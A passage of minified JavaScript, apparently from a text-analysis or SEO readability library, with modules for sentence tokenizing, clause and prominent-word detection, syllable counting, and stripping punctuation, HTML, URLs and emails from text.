r=[];return(0,n.forEach)(e,(function(e){const s=(a=e.match(t.regexes.auxiliaryRegex||[]),(0,n.map)(a,(function(e){return(0,i.default)(e)})));var a;0!==s.length&&r.push(new t.Clause(e,s))})),r}(s,t)}},95580:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r,o){const l=(0,s.uniq)(r),u=(0,a.getIndicesByWordListSorted)(l,e),c=e.indexOf(t),d=(0,n.default)(o),h=u.filter((e=>e.index<c));if(0===h.length)return!1;const f=h[h.length-1];return(0,i.default)(e,d).filter((e=>e.index>f.index&&e.index<c)).length>0};var s=r(92819),n=o(r(18072)),i=o(r(40404)),a=r(61403);function o(e){return e&&e.__esModule?e:{default:e}}},43527:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return f(e,t)};var s=r(61403),n=c(r(47793)),i=r(37361),a=c(r(40404)),o=c(r(9803)),l=c(r(89032)),u=r(92819);function c(e){return e&&e.__esModule?e:{default:e}}const d=function(e,t,r){const s=(0,a.default)(e,r);return(0,u.forEach)(t,(function(e){(0,o.default)(s,e.index)&&(t=t.filter((function(t){return t.index!==e.index})))})),t},h=function(e,t){const{auxiliaryRegex:r,directPrecedenceExceptionRegex:i,followingAuxiliaryExceptionRegex:o}=t;let c=e.match(r)||[];if(void 0!==i||void 0!==o){let t=(0,s.getIndicesByWordList)(c,e);void 0!==i&&(t=d(e,t,i)),t=function(e,t,r){const s=(0,a.default)(e,r);return(0,u.forEach)(t,(function(e){(0,l.default)(s,e)&&(t=t.filter((function(t){return t.index!==e.index})))})),t}(e,t,o),c=[],(0,u.forEach)(t,(function(e){c.push(e.match)}))}return(0,u.map)(c,(function(e){return(0,n.default)(e)}))},f=function(e,t){const r=[],l=t.regexes.auxiliaryRegex;if(null===(e=(0,i.normalizeSingle)(e)).match(l))return r;const c=function(e,t){e=e.toLocaleLowerCase();const{regexes:r}=t;let n=(0,s.getIndicesByWordList)(t.auxiliaries,e);const i=function(e,t){let r;const s=[];for(t.lastIndex=0;null!==(r=t.exec(e));)s.push({index:r.index,match:r[0]});return s}(e,r.stopCharacterRegex);let l=(0,s.getIndicesByWordList)(t.stopwords,e);t.otherStopWordIndices&&t.otherStopWordIndices.length>0&&(l=l.concat(t.otherStopWordIndices)),void 0!==r.directPrecedenceExceptionRegex&&(n=d(e,n,r.directPrecedenceExceptionRegex)),void 0!==r.elisionAuxiliaryExceptionRegex&&(n=function(e,t,r){const s=(0,a.default)(e,r);return(0,u.forEach)(t,(function(e){(0,o.default)(s,e.index,!1)&&(t=t.filter((function(t){return t.index!==e.index})))})),t}(e,n,r.elisionAuxiliaryExceptionRegex));let c=n.concat(l,i);return c=(0,s.filterIndices)(c),(0,s.sortIndices)(c)}(e,t);for(let s=0;s<c.length;s++){let i=e.length;(0,u.isUndefined)(c[s+1])||(i=c[s+1].index);const a=(0,n.default)(e.substring(c[s].index,i)),o=h(a,t.regexes);if(0!==o.length){const e=new t.Clause(a,o);r.push(e)}}return r}},40404:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=[];for(let s=t.exec(e);null!==s;s=t.exec(e))r.push({match:s[0],index:s.index});return r}},2329:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=[];return t.forEach((function(t){const s=e.match(t);null!==s&&r.push(s)})),r=(0,s.flattenDeep)(r),r};var s=r(92819)},14456:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r=[]){const s=(0,i.default)(e).map((e=>e.toLowerCase())),a=s.indexOf(t.toLowerCase());if(a<1)return!1;for(let e=0;e<a;e++)if((0,n.includes)(r,s[e]))return!0;return!1};var s,n=r(92819),i=(s=r(1105))&&s.__esModule?s:{default:s}},85683:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.collapseProminentWordsOnStem=d,t.default=void 0,t.filterProminentWords=u,t.getProminentWords=g,t.getProminentWordsFromPaperAttributes=m,t.retrieveAbbreviations=h,t.sortProminentWords=c;var s=r(92819),n=o(r(1105)),i=r(37361),a=o(r(4446));function o(e){return e&&e.__esModule?e:{default:e}}const l=/[1234567890‘’“”"'.…?!:;,¿¡«»&*@#±^%$|~=+§`[\](){}⟨⟩<>/\\–\-\u2014\u00d7\s]/g;function u(e,t=2){return e.filter((function(e){return e.getOccurrences()>=t&&""!==e.getWord().replace(l,"")}))}function c(e){e.sort((function(e,t){const r=t.getOccurrences()-e.getOccurrences();return 0!==r?r:e.getStem().localeCompare(t.getStem())}))}function d(e){if(0===e.length)return[];e.sort((function(e,t){return e.getStem().localeCompare(t.getStem())}));const t=[];let r=new a.default(e[0].getWord(),e[0].getStem(),e[0].getOccurrences());for(let s=1;s<e.length;s++){const n=new a.default(e[s].getWord(),e[s].getStem(),e[s].getOccurrences());n.getStem()===r.getStem()?(r.setOccurrences(r.getOccurrences()+n.getOccurrences()),n.getWord()!==r.getStem()&&n.getWord().toLocaleLowerCase()!==r.getStem()||r.setWord(n.getWord())):(t.push(r),r=n)}return t.push(r),t}function h(e){const t=(0,n.default)((0,i.normalizeSingle)(e)),r=[];return t.forEach((function(e){e.length>1&&e.length<5&&e===e.toLocaleUpperCase()&&r.push(e.toLocaleLowerCase())})),(0,s.uniq)(r)}function f(e,t,r,n){if(0===e.length)return[];const i=(0,s.uniq)(e.filter((e=>!n.includes(e.trim())))),o=[];return i.forEach((function(s){t.includes(s)?o.push(new a.default(s.toLocaleUpperCase(),s,e.filter((e=>e===s)).length)):o.push(new a.default(s,r(s),e.filter((e=>e===s)).length))})),d(o)}const p=(0,s.memoize)(((e,t,r,s)=>f(e,t,r,s)),((e,t)=>e.join(",")+","+t.join(",")));function g(e,t,r,s,a){if(""===e)return[];const o=a?a((0,i.normalizeSingle)(e).toLocaleLowerCase()):(0,n.default)((0,i.normalizeSingle)(e).toLocaleLowerCase());return p(o,t,r,s)}function m(e,t,r,s,i){return f(i?i(e.join(" ").toLocaleLowerCase()):(0,n.default)(e.join(" ").toLocaleLowerCase()),t,r,s)}t.default={getProminentWords:g,getProminentWordsFromPaperAttributes:m,filterProminentWords:u,sortProminentWords:c,collapseProminentWordsOnStem:d,retrieveAbbreviations:h}},18072:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=!1,r="",o=!1){const l="("+(e=(0,s.map)(e,(function(e){return o&&(e=(0,i.default)(e)),e=(0,a.default)(e),t?e:(0,n.default)(e,!0,r)}))).join(")|(")+")";return new RegExp(l,"ig")};var s=r(92819),n=o(r(28875)),i=o(r(74169)),a=o(r(86697));function o(e){return e&&e.__esModule?e:{default:e}}},55508:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t="("+(e=e.map((function(e){return i(e)}))).join(")|(")+")";return new RegExp(t,"ig")};var s,n=(s=r(28875))&&s.__esModule?s:{default:s};const i=function(e){return(e=e.map((function(e){return(0,n.default)(e)}))).join("(.*?)")}},13617:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=e.match(t);return null===r&&(r=[]),r}},21389:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=["“","”","〝","〞","〟","‟","„",'"',"「","」","『","』"]},24533:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.filterShortcodesFromHTML=t.default=t.createShortcodeTagsRegex=void 0;const r=e=>{const t=`\\[\\/?(${e.join("|")})[^\\]]*\\]`;return new RegExp(t,"g")};t.createShortcodeTagsRegex=r,t.filterShortcodesFromHTML=(e,t)=>{if(!t||0===t.length)return e;const s=r(t);return e.replace(s,"")};const s=(e,t,r,s)=>s&&r.includes(e[t].text)&&(((e,t)=>e[t-1]&&"["===e[t-1].text)(e,t)||((e,t)=>e[t-1]&&"/"===e[t-1].text&&e[t-2]&&"["===e[t-2].text)(e,t)),n=(e,t,r)=>{e.sentences&&e.sentences.forEach((e=>{((e,t,r)=>{const n=e.tokens;let i=!1;for(let e=n.length-1;e>=0;e--)if("]"===n[e].text&&(i=!0),s(n,e,t,i)){for(;"]"!==n[e].text;)n.splice(e,1);for(n.splice(e,1),i=!1;n[e-1]&&"[/".includes(n[e-1].text);)n.splice(e-1,1),e--}e.tokens=n,e.text=e.text.replace(r,"")})(e,t,r)})),e.childNodes&&e.childNodes.forEach((e=>{n(e,t,r)}))};t.default=(e,t)=>{if(!t||0===t.length)return;const s=r(t);n(e,t,s)}},10840:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.mergeListItems=function(e){return(e=(e=e.replace(/<\/?(o|ul)(?:[^>]+)?>/g,"")).replace(/\s?<\/?li(?:[^>]+)?>\s?/g," ")).replace(/\s+/g," ")}},73481:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t=e.split(",");return t=t.map((e=>(0,n.default)((0,s.default)(e)))).filter((e=>e)),t};var s=i(r(47793)),n=i(r(50544));function i(e){return e&&e.__esModule?e:{default:e}}},37361:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.SINGLE_QUOTES_REGEX=t.SINGLE_QUOTES_ARRAY=void 0,t.normalize=a,t.normalizeDouble=i,t.normalizeSingle=n;const r=t.SINGLE_QUOTES_ARRAY=["'","‘","’","‛","`","‹","›"],s=t.SINGLE_QUOTES_REGEX=new RegExp("["+r.join("")+"]","g");function n(e){return e.replace(s,"'")}function i(e){return e.replace(/[“”〝〞〟‟„『』«»]/g,'"')}function a(e){return i(n(e))}t.default={normalizeSingle:n,normalizeDouble:i,normalize:a}},32879:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(r,"")};const r=new RegExp("[^\\s@]+@[^\\s@]+\\.[^\\s@]+","igm")},8737:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){e=(e=(0,s.unifyNonBreakingSpace)(e)).replace("&amp","");const t=new RegExp("(\\\\)","g");return(e=(e=e.replace(t,"")).replace(i,"")).replace(a,"")},t.punctuationRegexString=t.punctuationRegexStart=t.punctuationRegexEnd=t.punctuationList=void 0;var s=r(81831);const n=t.punctuationRegexString="\\–\\-\\(\\)_\\[\\]’‘“”〝〞〟‟„\"'.?!:;,¿¡«»‹›—×+&۔؟،؛。。!‼?⁇⁉⁈‥…・ー、〃〄〆〇〈〉《》「」『』【】〒〓〔〕〖〗〘〙〚〛〜〝〞〟〠〶〼〽{}|~⦅⦆「」、[]・¥$%@&'()*/:;<>\\\<>",i=(t.punctuationList=n.split(""),t.punctuationRegexStart=new RegExp("^["+n+"]+")),a=t.punctuationRegexEnd=new RegExp("["+n+"]+$")},50544:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(e=e.replace(s,"")).replace(n,"")};const r="[\\–\\-\\(\\)_\\[\\]’'.?!:;,¿¡«»‹›—×+&<>]+",s=new RegExp("^"+r),n=new RegExp(r+"$")},85476:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(r,"")};const r=new RegExp("(ftp|http(s)?:\\/\\/.)(www\\\\.)?[-a-zA-Z0-9@:%._\\/+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:;%_\\/+.~#?&()=]*)|www\\.[-a-zA-Z0-9@:%._\\/+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:;%_\\/+.~#?&()=]*)","igm")},65510:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(/<br.*?>\s*<.*?br.*?>/gm,"</p><p>")}},86697:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e=(0,n.unifyAllSpaces)(e),(0,s.stripFullTags)(e)};var s=r(62240),n=r(81831)},62240:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.stripIncompleteTags=t.stripFullTags=t.stripBlockTagsAtStartEnd=t.default=void 0;var s,n=(s=r(47793))&&s.__esModule?s:{default:s},i=r(1831);const a=new RegExp("^<("+i.blockElements.join("|")+")[^>]*?>","i"),o=new RegExp("</("+i.blockElements.join("|")+")[^>]*?>$","i"),l=function(e){return(e=e.replace(/^(<\/([^>]+)>)+/i,"")).replace(/(<([^/>]+)>)+$/i,"")};t.stripIncompleteTags=l;const u=function(e){return(e=e.replace(a,"")).replace(o,"")};t.stripBlockTagsAtStartEnd=u;const c=function(e){return e=e.replace(/(<([^>]+)>)/gi," "),(0,n.default)(e)};t.stripFullTags=c,t.default={stripFullTags:c,stripIncompleteTags:l,stripBlockTagsAtStartEnd:u}},57719:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e=e.replace(/<(?!li|\/li|p|\/p|h1|\/h1|h2|\/h2|h3|\/h3|h4|\/h4|h5|\/h5|h6|\/h6|dd).*?>/g,""),(0,n.default)(e)};var s,n=(s=r(47793))&&s.__esModule?s:{default:s}},86812:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e=e.replace(/\b[0-9]+\b/g,""),"."===(e=(0,n.default)(e))&&(e=""),e};var s,n=(s=r(47793))&&s.__esModule?s:{default:s}},47793:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(e=(e=(e=(e=e.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")).replace(/\s。/g,"。")).replace(/。\s/g,"。")}},52731:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.stripWordBoundariesStart=t.stripWordBoundariesEverywhere=t.stripWordBoundariesEnd=t.default=void 0;const r="[ \\u00a0\\u06d4\\u061f\\u060C\\u061B \\n\\r\\t.,'()\"+\\-;!?:/»«‹›<>]",s=new RegExp("^("+r+"+)","ig"),n=new RegExp("("+r+"+$)","ig"),i=function(e){return e.replace(s,"")};t.stripWordBoundariesStart=i;const a=function(e){return e.replace(n,"")};t.stripWordBoundariesEnd=a;const o=function(e){return(e=e.replace(s,"")).replace(n,"")};t.stripWordBoundariesEverywhere=o,t.default={stripWordBoundariesStart:i,stripWordBoundariesEnd:a,stripWordBoundariesEverywhere:o}},81831:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.unifyWhiteSpace=t.unifyNonBreakingSpace=t.unifyEmDash=t.unifyAllSpaces=t.default=void 0;const r=function(e){return e.replace(/&nbsp;/g," ")};t.unifyNonBreakingSpace=r;const s=function(e){return e.replace(/\u2014/g," ")};t.unifyEmDash=s;const n=function(e){return e.replace(/\s/g," ")};t.unifyWhiteSpace=n;const i=function(e){return e=r(e),e=s(e),n(e)};t.unifyAllSpaces=i,t.default={unifyNonBreakingSpace:r,unifyEmDash:s,unifyWhiteSpace:n,unifyAllSpaces:i}},29003:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=u(r(14429)),i=r(37361),a=u(r(31946)),o=u(r(18072)),l=u(r(35468));function u(e){return e&&e.__esModule?e:{default:e}}const c=new RegExp("^[.]$"),d=/^<[^><]*$/,h=/^<([^>\s/]+)[^>]*>$/im,f=/^<\/([^>\s]+)[^>]*>$/im,p=/^\s*[[({]\s*$/,g=/^\s*[\])}]\s*$/,m=a.default.map((e=>e.replace(".","\\."))),_=(0,o.default)(m),T="(^|$|["+(0,l.default)().map((e=>"\\"+e)).join("")+"])",E=new RegExp(T+"[A-Za-z]$"),A=/<\/?([^\s]+?)(\s|>)/,y=["p","div","h1","h2","h3","h4","h5","h6","span","li","main"];t.default=class{constructor(){this.sentenceDelimiters='”〞〟„』›»’‛`"?!…۔؟'}getSentenceDelimiters(){return this.sentenceDelimiters}isNumber(e){return!(0,s.isNaN)(parseInt(e,10))}isBreakTag(e){return/<\/?br/.test(e)}isQuotation(e){return"'"===(e=(0,i.normalize)(e))||'"'===e}endsWithOrdinalDot(){return!1}isPunctuation(e){return"¿"===e||"¡"===e}removeDuplicateWhitespace(e){return e.replace(/\s+/," ")}isCapitalLetter(e){return e!==e.toLocaleLowerCase()}isSmallerThanSign(e){return"<"===e}getNextTwoCharacters(e){let t="";return(0,s.isUndefined)(e[0])||(t+=e[0].src),(0,s.isUndefined)(e[1])||(t+=e[1].src),t=this.removeDuplicateWhitespace(t),t}isLetterFromSpecificLanguage(e){return[/^[\u0590-\u05fe]+$/i,/^[\u0600-\u06FF]+$/i,/^[\uFB8A\u067E\u0686\u06AF]+$/i].some((t=>t.test(e)))}isValidSentenceBeginning(e){return this.isCapitalLetter(e)||this.isLetterFromSpecificLanguage(e)||this.isNumber(e)||this.isQuotation(e)||this.isPunctuation(e)||this.isSmallerThanSign(e)}isSentenceStart(e){return!(0,s.isUndefined)(e)&&("html-start"===e.type||"html-end"===e.type||"block-start"===e.type)}isSentenceEnding(e){return!(0,s.isUndefined)(e)&&("full-stop"===e.type||"sentence-delimiter"===e.type)}isPartOfPersonInitial(e,t,r,n){return!(0,s.isUndefined)(e)&&!(0,s.isUndefined)(r)&&!(0,s.isUndefined)(n)&&!(0,s.isUndefined)(t)&&"full-stop"===e.type&&"sentence"===t.type&&E.test(t.src)&&"sentence"===r.type&&1===r.src.trim().length&&"full-stop"===n.type}tokenizeSmallerThanContent(e,t,r){const n=e.src.substring(1),i=this.createTokenizer();this.tokenize(i.tokenizer,n);const a=this.getSentencesFromTokens(i.tokens,!1);if(a[0]=(0,s.isUndefined)(a[0])?"<":"<"+a[0],this.isValidSentenceBeginning(a[0])&&(t.push(r),r=""),r+=a[0],a.length>1){t.push(r),r="",a.shift();const e=a.pop();a.forEach((e=>{t.push(e)}));const s=new RegExp("[."+this.getSentenceDelimiters()+"]$");e.match(s)?t.push(e):r=e}return{tokenSentences:t,currentSentence:r}}createTokenizer(){const e=new RegExp("^["+this.getSentenceDelimiters()+"]$"),t=new RegExp("^[^."+this.getSentenceDelimiters()+"<\\(\\)\\[\\]]+$"),r=[],s=(0,n.default)((function(e){r.push(e)}));return s.addRule(c,"full-stop"),s.addRule(d,"smaller-than-sign-content"),s.addRule(h,"html-start"),s.addRule(f,"html-end"),s.addRule(p,"block-start"),s.addRule(g,"block-end"),s.addRule(e,"sentence-delimiter"),s.addRule(t,"sentence"),{tokenizer:s,tokens:r}}tokenize(e,t){e.onText(t);try{e.end()}catch(e){console.error("Tokenizer end error:",e,e.tokenizer2)}}endsWithAbbreviation(e){const t=e.match(_);if(!t)return!1;const r=t.pop();return e.endsWith(r)}isValidTagPair(e,t){const r=e.src,s=t.src,n=r.match(A)[1];return n===s.match(A)[1]&&y.includes(n)}getSentencesFromTokens(e,t=!0){let r,n,i=[],a="";do{n=!1;const t=e[0],r=e[e.length-1];t&&r&&"html-start"===t.type&&"html-end"===r.type&&this.isValidTagPair(t,r)&&(e=e.slice(1,e.length-1),n=!0)}while(n&&e.length>1);return e.forEach(((t,n)=>{let o,l,u;const c=e[n+1],d=e[n-1],h=e[n+2];switch(l=this.getNextTwoCharacters([c,h]),o=l.length>=2,r=o?l[1]:"",t.type){case"html-start":case"html-end":this.isBreakTag(t.src)?(i.push(a),a=""):a+=t.src;break;case"smaller-than-sign-content":u=this.tokenizeSmallerThanContent(t,i,a),i=u.tokenSentences,a=u.currentSentence;break;case"sentence":case"block-start":a+=t.src;break;case"sentence-delimiter":if(a+=t.src,!(0,s.isUndefined)(c)&&"block-end"!==c.type&&"sentence-delimiter"!==c.type&&this.isCharacterASpace(c.src[0])){if(this.isQuotation(t.src)&&d&&"."!==d.src)break;this.isQuotation(t.src)||"…"===t.src?a=this.getValidSentence(o,r,l,c,i,a):(i.push(a),a="")}break;case"full-stop":if(a+=t.src,l=this.getNextTwoCharacters([c,h]),o=l.length>=2,r=o?l[1]:"",this.endsWithAbbreviation(a))break;if(o&&this.isNumber(l[0]))break;if(this.isPartOfPersonInitial(t,d,c,h))break;if(this.endsWithOrdinalDot(a))break;a=this.getValidSentence(o,r,l,c,i,a);break;case"block-end":if(a+=t.src,l=this.getNextTwoCharacters([c,h]),o=l.length>=2,r=o?l[0]:"",o&&this.isNumber(l[0])||this.isSentenceEnding(d)&&!this.isValidSentenceBeginning(r)&&!this.isSentenceStart(c))break;this.isSentenceEnding(d)&&(this.isSentenceStart(c)||this.isValidSentenceBeginning(r))&&(i.push(a),a="")}})),""!==a&&i.push(a),t&&(i=(0,s.map)(i,(function(e){return e.trim()}))),i}getValidSentence(e,t,r,s,n,i){return(e&&this.isValidSentenceBeginning(t)&&this.isCharacterASpace(r[0])||this.isSentenceStart(s))&&(n.push(i),i=""),i}isCharacterASpace(e){return/\s/.test(e)}}},55473:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=(0,n.default)(e,t);let s=0;for(let e=0;e<r.length;e++)s++;return s};var s,n=(s=r(9862))&&s.__esModule?s:{default:s}},9862:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=u.default){e=(e=(0,l.unifyNonBreakingSpace)(e)).replace(a.imageRegex,"");let r=(0,i.getBlocks)(e);r=(0,n.flatMap)(r,(function(e){return e.split(c)})),r=r.filter((e=>!d.test(e)));let s=r.map((e=>t(e))).flat();return s=s.map((e=>(0,o.stripBlockTagsAtStartEnd)(e).trim())),(0,n.filter)(s,(0,n.negate)(n.isEmpty))};var s,n=r(92819),i=r(1831),a=r(61440),o=r(62240),l=r(81831),u=(s=r(47647))&&s.__esModule?s:{default:s};const c=new RegExp("\n\r|\n|\r"),d=new RegExp("^(<p>|</p>)$")},54241:(e,t)=>{"use strict";function r(e){return e.sourceCodeLocation&&(e.sourceCodeLocation.startTag&&e.sourceCodeLocation.startTag.endOffset||e.sourceCodeLocation.startOffset)||0}function s(e,t){return e.getTree().findAll((e=>e.childNodes&&e.childNodes.includes(t)))[0]||t}Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.getTree().findAll((e=>!!e.sentences)).flatMap((t=>t.sentences.map((n=>{let i=t;return t.isImplicit&&(i=s(e,t)),{...n,parentStartOffset:r(i),parentClientId:i.clientId||"",parentAttributeId:t.attributeId||"",isParentFirstSectionOfBlock:t.isFirstSection||!1}}))))},t.getParentNode=s},47647:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(29003))&&s.__esModule?s:{default:s},i=r(92819);t.default=(0,i.memoize)((function(e,t=!0){const r=new n.default,{tokenizer:s,tokens:i}=r.createTokenizer();return r.tokenize(s,e),0===i.length?[]:r.getSentencesFromTokens(i,t)}),((...e)=>JSON.stringify(e)))},91916:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=[];return(0,i.forEach)(e,(function(e){const s=(0,a.stripFullTags)(e),i=t.getHelper("customCountLength"),o=i?i(s):(0,n.default)(s);o<=0||r.push({sentence:e,sentenceLength:o})})),r};var s,n=(s=r(33870))&&s.__esModule?s:{default:s},i=r(92819),a=r(62240)},58766:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);t.default=class{constructor(e){this._location=e.location,this._fragment=e.word,this._syllables=e.syllables,this._regex=null,this._options=(0,s.pick)(e,["notFollowedBy","alsoFollowedBy"])}createRegex(){const e=this._options;let t,r=this._fragment;switch((0,s.isUndefined)(e.notFollowedBy)||(r+="(?!["+e.notFollowedBy.join("")+"])"),(0,s.isUndefined)(e.alsoFollowedBy)||(r+="["+e.alsoFollowedBy.join("")+"]?"),this._location){case"atBeginning":t="^"+r;break;case"atEnd":t=r+"$";break;case"atBeginningOrEnd":t="(^"+r+")|("+r+"$)";break;default:t=r}this._regex=new RegExp(t)}getRegex(){return null===this._regex&&this.createRegex(),this._regex}occursIn(e){return this.getRegex().test(e)}removeFrom(e){return e.replace(this._fragment," ")}getSyllables(){return this._syllables}}},39617:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.countSyllablesInWord=void 0;var s=o(r(1105)),n=r(92819),i=o(r(15495)),a=o(r(58766));function o(e){return e&&e.__esModule?e:{default:e}}const l=(0,n.memoize)((function(e){let t=[];const r=e.deviations;return t=(0,n.flatMap)(r.words.fragments,(function(e,t){return(0,n.map)(e,(function(e){return e.location=t,new a.default(e)}))})),t})),u=function(e,t){let r=0;if(!(0,n.isUndefined)(t.deviations)&&!(0,n.isUndefined)(t.deviations.words)){if(!(0,n.isUndefined)(t.deviations.words.full)){const r=function(e,t){const r=t.deviations.words.full,s=(0,n.find)(r,(function(t){return t.word===e}));return(0,n.isUndefined)(s)?0:s.syllables}(e,t);if(0!==r)return r}if(!(0,n.isUndefined)(t.deviations.words.fragments)){const s=function(e,t){const r=l(t);let s=e,i=0;return(0,n.forEach)(r,(function(e){e.occursIn(s)&&(s=e.removeFrom(s),i+=e.getSyllables())})),{word:s,syllableCount:i}}(e,t);e=s.word,r+=s.syllableCount}}return r+=function(e,t){let r=0;return r+=function(e,t){let r=0;const s=new RegExp("[^"+t.vowels+"]","ig"),i=e.split(s);return r+=(0,n.filter)(i,(function(e){return""!==e})).length,r}(e,t),(0,n.isUndefined)(t.deviations)||(0,n.isUndefined)(t.deviations.vowels)||(r+=function(e,t){return new i.default(t).countSyllables(e)}(e,t)),r}(e,t),r};t.countSyllablesInWord=u,t.default=function(e,t){e=e.toLocaleLowerCase();const r=(0,s.default)(e),i=(0,n.map)(r,(function(e){return u(e,t)}));return(0,n.sum)(i)}},15495:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(87743))&&s.__esModule?s:{default:s},i=r(92819);t.default=class{constructor(e){this.countSteps=[],(0,i.isUndefined)(e)||this.createSyllableCountSteps(e.deviations.vowels)}createSyllableCountSteps(e){(0,i.forEach)(e,function(e){this.countSteps.push(new n.default(e))}.bind(this))}getAvailableSyllableCountSteps(){return this.countSteps}countSyllables(e){let t=0;return(0,i.forEach)(this.countSteps,(function(r){t+=r.countSyllables(e)})),t}}},87743:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(92819),i=(s=r(18072))&&s.__esModule?s:{default:s};t.default=class{constructor(e){this._hasRegex=!1,this._regex="",this._multiplier="",this.createRegex(e)}hasRegex(){return this._hasRegex}createRegex(e){(0,n.isUndefined)(e)||(0,n.isUndefined)(e.fragments)||(this._hasRegex=!0,this._regex=(0,i.default)(e.fragments,!0),this._multiplier=e.countModifier)}getRegex(){return this._regex}countSyllables(e){return this._hasRegex?(e.match(this._regex)||[]).length*this._multiplier:0}}},85336:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}},74169:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=(0,n.default)();for(let r=0;r<t.length;r++)e=e.replace(t[r].letters,t[r].base);return e};var s,n=(s=r(24910))&&s.__esModule?s:{default:s}},81011:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.arraysDifference=l,t.arraysOverlap=u,t.combinations=c,t.getIndicesOfCharacter=o,t.getIndicesOfWords=a,t.replaceTurkishIs=h,t.replaceTurkishIsMemoized=void 0;var s,n=r(92819),i=(s=r(1105))&&s.__esModule?s:{default:s};function a(e){const t=[],r=(0,i.default)(e);let s=0;return r.forEach((function(r){const n=e.indexOf(r,s);t.push(n),s=n+r.length})),t}function o(e,t){const r=[];if(e.indexOf(t)>-1)for(let s=0;s<e.length;s++)e[s]===t&&r.push(s);return r}function l(e,t){return(0,n.filter)(e,(function(e){return!(0,n.includes)(t,e)}))}function u(e,t){return(0,n.filter)(e,(function(e){return(0,n.includes)(t,e)}))}function c(e){return function e(t,r){const s=t[0];if(void 0===s)return r;for(let e=0,t=r.length;e<t;++e)r.push(r[e].concat(s));return e(t.slice(1),r)}(e,[[]]).slice(1).concat([[]])}function d(e,t,r){const s=e.split("");return t.forEach((function(e){s.splice(e,1,r)})),s.join("")}function h(e){const t=o(e,"İ").concat(o(e,"I"),o(e,"i"),o(e,"ı"));if(t.sort(),0===t.length)return[e];const r=u(a(e),t),s=[];c(r).forEach((function(e){if((0,n.isEqual)(e,r))s.push([e,[],[],[]]);else{const t=l(r,e);c(t).forEach((function(r){if((0,n.isEqual)(r,t))s.push([e,r,[],[]]);else{const i=l(t,r);c(i).forEach((function(t){if((0,n.isEqual)(t,i))s.push([e,r,t,[]]);else{const n=l(i,t);s.push([e,r,t,n])}}))}}))}}));const i=[];return s.forEach((function(t){const r=d(e,t[0],"İ"),s=d(r,t[1],"I"),n=d(s,t[2],"i"),a=d(n,t[3],"ı");i.push(a)})),i}t.replaceTurkishIsMemoized=(0,n.memoize)(h)},36064:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=(0,n.default)(t);for(let t=0;t<r.length;t++)e=e.replace(r[t].letter,r[t].alternative);return e};var s,n=(s=r(43879))&&s.__esModule?s:{default:s}},78087:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=(0,n.default)(t);for(let t=r.length-1;t>=0;t--)e=e.replace(r[t].letter,r[t].alternative);return e};var 